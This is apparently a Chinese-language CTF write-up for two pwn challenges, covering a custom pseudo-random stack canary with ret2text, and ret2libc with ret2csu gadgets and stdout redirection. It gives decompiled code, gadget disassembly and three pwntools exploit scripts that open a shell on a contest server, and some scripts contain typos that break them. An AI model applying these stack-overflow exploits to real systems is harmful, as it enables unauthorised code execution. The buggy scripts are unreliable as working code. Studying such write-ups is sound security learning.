Canary 复盘/ret2text/canary/伪随机数 题目源码如下
1 2 3 4 5 6 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { sub_401296(); sub_4013C7(); return 0LL ; }
两个函数分别如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void sub_401296 () { int v0; int fd; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); fd = open("/dev/urandom" , 0 ); if ( fd == -1 ) { printf ("can't open /dev/urandom" ); exit (-1 ); } read(fd, &qword_4040D0, 8uLL ); close(fd); v0 = time(0LL ); srand((v0 ^ qword_4040D0) & 0xFFFFFF ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 __int64 sub_4013C7 () { __int64 result; char buf[88 ]; __int64 v2; int v3; int v4; v4 = 0 ; qword_4040D0 = (__int64)rand() << 32 ; qword_4040D0 += rand(); v2 = qword_4040D0; puts ("I have a secret. Can you find it?" ); while ( !v4 ) { sub_40135C(); v3 = sub_401397(); switch ( v3 ) { case 2 : if ( qword_404088 ) { printf ("My secret is %016lx\n" , qword_4040D0); qword_4040D0 = (__int64)rand() << 32 ; qword_4040D0 += rand(); v2 = qword_4040D0; puts ("But now, I have a new Secret." ); --qword_404088; } else { puts ("Just one time!" ); } break ; case 3 : v4 = 1 ; break ; case 1 : puts ("Show me the code:" ); read(0 , buf, 0x100u LL); break ; } } result = qword_4040D0; if ( v2 != qword_4040D0 ) { printf ("Hey, What are you doing?" ); exit (0 ); } return result; }
checksec发现并没有开启canary保护,看源码原来是自定义的随机字符串放在栈溢出的边缘模拟了canary机制,在sub_4013C7()函数返回前检查这个随机的字符串是否被修改。自然而然想到了泄露随机seed或是canary或者爆破canary。但是此题的seed无法直接泄露,但是可以爆破,笔者这里采取了不那么麻烦的做法。 canary在选项2直接给出,给出后马上实时更新了canary。既然实时更新,说明在更新前我们对canary的覆盖并不会造成影响,只需要溢出完成后更新一次就好了。即通过选项1来写ret2text,然后选项2更新canary,再通过选项3退出循环触发返回到system(“/bin/sh”);。需要注意的是,控制循环的变量也储存在栈上,需要注意覆盖为0确保写完ret2text后循环继续以便于更新canary。 至于爆破canary,我们先通过选项2泄露出canary,然后canary更新,这时我们有上一个canary,也就是这个随机序列的前两个随机数(题目用两个32位随机数移位合成一个64位canary)。那么我们便可以不断地从0到0xffffff尝试seed,然后用两个随机数合成一个64位值,若这个值和此前泄露的canary相等,说明我们找到了seed,这时更新的canary我们也就知道了。 wp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context.os='linux' context.arch='amd64' context.log_level='debug' r=remote('47.105.113.86' ,30001 ) e=ELF('./ywb_Canary' ) def send (content ): r.recvuntil(b'Input your choice\n' ) r.sendline(str (1 )) r.recvuntil(b'Show me the code:\n' ) r.send(content) sys_add=0x401581 ret=0x40101a payload1=b'a' *(0x58 +0x14 )+p32(0 )+p64(0xdeadbeef )+p64(sys_add) payload1=payload1.ljust(0x100 ,b'\x00' ) send(payload1) r.recvuntil(b'Input your choice\n' ) r.sendline(str (2 )) r.recvuntil(b'Input your choice\n' ) r.sendline(str (3 )) r.interactive()
爆破做法的wp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from ctypes import *context.os='linux' context.arch='amd64' context.log_level='debug' r=remote('47.105.113.86' ,30001 ) e=ELF('./ywb_Canary' ) cfun=cdll.LoadLibrary('./libc.so.6' ) def send (content ): r.recvuntil(b'Input your choice\n' ) r.sendline(str (1 )) r.recvuntil(b'Show me the code:\n' ) r.send(content) sys_add=0x401581 ret=0x40101a r.recvuntil(b'Input your choice\n' ) r.sendline(str (2 )) r.recvuntil(b'My secret is ' ) target=r.recvline() canary=0 for i in range (0xffffff ): cfun.srand(i) temp=cfun.rand() << 32 temp+=cfun.rand() temp="%016x" % temp if temp==target : canary=cfun.rand() << 32 canary+=c.fun.rand() break payload=b'a' *0x58 +p64(canary)+b'a' *0x6 +p32(0 )+p64(0xdeadbeef )+p64(sys_add) payload=payload.ljust(0x100 ,b'\x00' ) send(payload) r.recvuntil(b'Input your choice\n' ) r.sendline(str (3 )) r.interactive()
ez_pwn 复盘/ret2libc/重定向/ret2csu 题目源码如下
1 2 3 4 5 6 7 8 int __fastcall main (int argc, const char **argv, const char **envp) { init(); write(1 , "Close your eye, and you are blind now." , 0x26u LL); close(1 ); vuln(); return 0 ; }
vuln函数
1 2 3 4 5 ssize_t vuln () { char buf[32 ]; return read(0 , buf, 0x200u LL); }
明显的栈溢出但是禁用了标准输出,但是2没有禁用(标准错误输出),我们可以调用write函数传2为第一个参数(文件描述符2表示标准错误输出)来泄露libc 然后write函数有三个参数,第三个参数rdx的控制片段较难寻找。此题中rdx因为此前程序自身调用了read函数读入0x200,我们知道rdx已经是0x200,可以直接使用 尽管如此我们还是分析一下一种控制rdx,同时也能控制rdi和rsi的方法,称为ret2csu 一般程序中都存在__libc_csu_init这个函数。在这个函数中,有如下片段(以此题为例):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 .text:00000000004012A0 mov rdx, r14 .text:00000000004012A3 mov rsi, r13 .text:00000000004012A6 mov edi, r12d .text:00000000004012A9 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8] .text:00000000004012AD add rbx, 1 .text:00000000004012B1 cmp rbp, rbx .text:00000000004012B4 jnz short loc_4012A0 ```gadget2 .text:00000000004012BA pop rbx .text:00000000004012BB pop rbp .text:00000000004012BC pop r12 .text:00000000004012BE pop r13 .text:00000000004012C0 pop r14 .text:00000000004012C2 pop r15 .text:00000000004012C4 retn
我们分析一下这两个片段就可以知道,通过gadget2中可传值的r14,r13,r12以及gadget1的前三条指令可以间接控制rdx,rsi,edi 在gadget2中,我们call了 [r15+rbx8] ,将rbx置为0即 [r15+rbx 8] == [r15],方便我们用r15控制调用的函数。 后续add rbx, 1; cmp rbx, rbp; jnz xxxxxx。我们已经令rbx=0,从而使r15+rbx*8=r15,所以add rbx,1后rbx=1,若此时rbp != 1,jnz触发可能会产生错误,为了避免不必要的麻烦,我们令rbp也为1(gadget2可以控制rbp)。最后我们把目标函数地址传入r15,也就成功劫持了程序执行流。 除了这种通用的方法以外,还有一个巧妙的方法,gadget2中其实隐藏了两个简单的gadget pop r15;ret的机器码转为16进制为(0x41 0x5F 0xC3),而pop rdi;ret的机器码为(0x5F 0xC3),后两个字节一模一样,说明pop r15;ret指令可以通过控制指令开始的地址变为pop rdi;ret。以此题为例子,pop r15的地址是0x4012C2,那么pop rdi的地址是pop r15的地址加一,即0x4012C3 同理我们看pop r14的机器码为(0x41 0x5E),而pop rsi的机器码正好为0x5E,以此题为例,pop r14的地址(0x4012C0)加一就是pop rsi指令的地址,也就是0x4012C1。 这两个隐藏gadget如何使用呢?以此题为例子,只需要布置rop链,ret到0x4012C1,也就是pop rsi,然后加上两个数据,分别pop进rsi和r15,然后ret到0x4012C3,也就是pop rdi,再加上要传入rdi的数据,再ret到目标函数即可。 话说回来,继续分析这个题目,在用write函数泄露libc并getshell后,标准输入还是禁用状态,我们需要输入指令exec 1>&0,将标准输出重定向到标准输入,在执行这个命令后,进程的标准输出将不再向终端屏幕上显示,而是会将输出结果发送到标准输入。这意味着,后续的输出会被作为输入来处理。相当于重启了标准输出。还可以通过调用dup2函数来重定向(搬运的解释,以后学IO_FILE再看看) wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn importi*context.os='linux' context.arch='amd64' context.log_level='debug' r=remote('47.105.113.86' ,30003 ) e=ELF('./ywb_pwn' ) libc=ELF('./libc-2.31.so' ) write_plt=e.plt['write' ] write_got=e.got['write' ] main_add=0x401207 pop_rdi=0x4012c3 pop_rsi_r15=0x4012c1 ret=0x40101a payload=b'a' *40 +p64(pop_rdi)+p64(2 )+p64(pop_rsi_r15)+p64(write_got)+p64(0 )+p64(write_plt)+p64(main_add) r.recvuntil(b'Close your eye, and you are blind now.' ) sleep(0.1 ) r.send(payload.ljust(0x200 ,b'\x00' )) write_leak_add=u64(r.recv(b'\x7f' )[-6 :].ljust(0x8 ,b'\x00' )) log.success(hex (write_leak_add)) libcbase=write_leak_add-libc.sym['write' ] sys_add=libcbase+libc.sym['system' ] bin_add=libcbase+next (libc.search(b"/bin/sh" )) payload=b'a' *(32 +8 )+p64(pop_rdi)+p64(bin_add)+p64(ret)+p64(sys_add) sleep(0.1 ) r.send(payload.ljust(0x200 ,b'\x00' )) r.interactive()